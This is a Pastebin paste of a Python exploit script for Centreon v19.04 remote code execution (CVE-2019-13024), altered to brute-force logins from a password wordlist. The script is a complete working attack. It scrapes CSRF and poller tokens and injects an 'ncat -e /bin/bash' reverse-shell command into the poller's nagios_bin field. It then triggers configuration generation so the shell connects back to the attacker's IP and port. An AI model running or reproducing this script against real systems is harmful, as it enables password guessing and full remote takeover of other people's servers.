Advertisement
Guest User

Untitled

a guest
Nov 19th, 2019
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.54 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. '''
  4. # Exploit Title: Centreon v19.04 authenticated Remote Code Execution
  5. # Date: 28/06/2019
  6. # Exploit Author: Askar (@mohammadaskar2)
  7. # CVE : CVE-2019-13024
  8. # Vendor Homepage: https://www.centreon.com/
  9. # Software link: https://download.centreon.com
  10. # Version: v19.04
  11. # Tested on: CentOS 7.6 / PHP 5.4.16
  12. '''
  13.  
  14. import requests
  15. import sys
  16. import warnings
  17. from bs4 import BeautifulSoup
  18.  
  19. # turn off BeautifulSoup warnings
  20. warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
  21.  
  22. if len(sys.argv) != 6:
  23.     print(len(sys.argv))
  24.     print("[~] Usage : ./centreon-exploit.py url username password ip port")
  25.     exit()
  26. with open('best110.txt', 'r') as passlist:
  27.     plist = passlist.readlines()
  28. with open('tt.txt', 'r') as userlist:
  29.     ulist = userlist.readlines()
  30.  
  31. for password in plist:
  32.     password=password.strip()
  33.    
  34.  
  35.     url = sys.argv[1]
  36.     username = sys.argv[2] 
  37.     ip = sys.argv[4]
  38.     port = sys.argv[5]
  39.  
  40.  
  41.     request = requests.session()
  42.     print("[+] Retrieving CSRF token to submit the login form")
  43.     page = request.get(url+"/index.php")
  44.     html_content = page.text
  45.     soup = BeautifulSoup(html_content)
  46.     token = soup.findAll('input')[3].get("value")
  47.  
  48.     login_info = {
  49.         "useralias": username,
  50.         "password": password,
  51.         "submitLogin": "Connect",
  52.         "centreon_token": token
  53.     }
  54.     login_request = request.post(url+"/index.php", login_info)
  55.     print("[+] Login token is : {0}".format(token))
  56.     if "Your credentials are incorrect." not in login_request.text:
  57.         print("[+] Logged In Sucssfully", username, password)
  58.         print("[+] Retrieving Poller token")
  59.  
  60.         poller_configuration_page = url + "/main.get.php?p=60901"
  61.         get_poller_token = request.get(poller_configuration_page)
  62.         poller_html = get_poller_token.text
  63.         poller_soup = BeautifulSoup(poller_html)
  64.         poller_token = poller_soup.findAll('input')[24].get("value")
  65.         print("[+] Poller token is : {0}".format(poller_token))
  66.  
  67.         payload_info = {
  68.             "name": "Central",
  69.             "ns_ip_address": "127.0.0.1",
  70.             # this value should be 1 always
  71.             "localhost[localhost]": "1",
  72.             "is_default[is_default]": "0",
  73.             "remote_id": "",
  74.             "ssh_port": "22",
  75.             "init_script": "centengine",
  76.             # this value contains the payload , you can change it as you want
  77.             "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
  78.             "nagiostats_bin": "/usr/sbin/centenginestats",
  79.             "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
  80.             "centreonbroker_cfg_path": "/etc/centreon-broker",
  81.             "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
  82.             "centreonbroker_logs_path": "",
  83.             "centreonconnector_path": "/usr/lib64/centreon-connector",
  84.             "init_script_centreontrapd": "centreontrapd",
  85.             "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
  86.             "ns_activate[ns_activate]": "1",
  87.             "submitC": "Save",
  88.             "id": "1",
  89.             "o": "c",
  90.             "centreon_token": poller_token,
  91.  
  92.  
  93.         }
  94.  
  95.         send_payload = request.post(poller_configuration_page, payload_info)
  96.         print("[+] Injecting Done, triggering the payload")
  97.         print("[+] Check your netcat listener !")
  98.         generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
  99.         xml_page_data = {
  100.             "poller": "1",
  101.             "debug": "true",
  102.             "generate": "true",
  103.         }
  104.         request.post(generate_xml_page, xml_page_data)
  105.  
  106.     #else:
  107.         #print("[-] Wrong credentials", password, username)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement